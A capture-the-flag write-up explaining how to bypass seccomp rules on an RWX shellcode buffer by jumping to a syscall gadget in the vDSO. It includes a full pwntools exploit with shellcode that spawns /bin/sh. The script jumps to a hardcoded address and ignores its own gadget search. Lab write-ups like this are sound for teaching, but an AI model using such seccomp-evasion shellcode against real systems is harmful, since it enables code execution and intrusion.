Purpose : Get The Flag
The challenge binary mmaps
a memory region at 0x500000
with a size of 0x1000
bytes and grants it read, write, and execute permissions.
It then:
Asks the user how many bytes they want to write.
Reads that many bytes as shellcode into the allocated memory.
There’s a check in place to ensure the number of bytes never exceeds 0x1000. If the user requests more, the program rejects the input.
Permissions on the binary are shown here:
Before the shellcode is executed, seccomp rules are applied, as seen here:
The seccomp rules can be understood as follows:
1
2
3
4
5
6
7
8
9
10
11
12
if address < 0x400000:
allow
elif address < 0x4b8000:
kill # anything in this range 0x400000 to 0x4b8000 is blocked
if address < 0x500000:
allow
elif address < 0x501000:
kill # the mmap’d memory (0x500000–0x501000) is blocked
if address < 0x7fff:
allow # this includes the vDSO segment (used by libc to speed up syscalls)
What Makes This Tricky?
Seccomp only checks memory access when a syscall is executed normal code execution is unaffected. So we can run shellcode as usual, but the moment it triggers a syscall, seccomp kicks in and enforces these rules.
Our shellcode is in the 0x500000–0x501000
range and that entire range is blocked for syscalls. So if we try to run a syscall (like execve("/bin/sh")
) directly from there, seccomp will kill the process.
The Bypass Idea
To work around this, we need to execute the syscall from a memory region that seccomp allows.
One such region is vDSO, which resides in a predictable address range, and contains a valid syscall
instruction.
To find this:
We search for a pointer to the vDSO in the binary itself (PIE is not enabled, so addresses are static).
We dereference the pointer and look for a valid
syscall
gadget (0x0f05
).Once located, we jump to that address instead of calling
syscall
from within the restricted mmap region.
Here’s a reference screenshot showing how we locate the pointer to the vDSO:
Working Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/python3
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
exe = './bin'
elf = context.binary = ELF(exe, checksec=True)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
break *main+298
continue
'''.format(**locals())
io = start()
"""
address < 0x400000 Allow
address < 0x4b8000 Kill
0x400000 - 0x4b8000 kill range
address < 0x500000 Allow
address < 0x501000 Kill
0x500000 - 0x501000 Kill range
"""
c = constants
# 0x0F05 ---> syscall
# R8 -8 is
payload = flat(asm("""
mov r8, 0x4cea48
mov rbx, qword [r8-8]
xor rax,rax
mov rcx, 0x050f
sub rbx, 1
search:
add rbx, 1
mov ax, [rbx]
cmp ax, cx
jnz search
xor rdi , rdi
xor rsi , rsi
xor rdx , rdx
mov rdi,0x68732f6e69622f
push rdi
mov rdi,rsp
mov rax, 59
mov r10, 0x7ffff7ffd4c5
jmp r10
"""))
payload += b"\xcc"*(500 - len(payload))
io.sendlineafter(b"How long is your shellcode?",b"500")
io.sendline(payload)
io.interactive()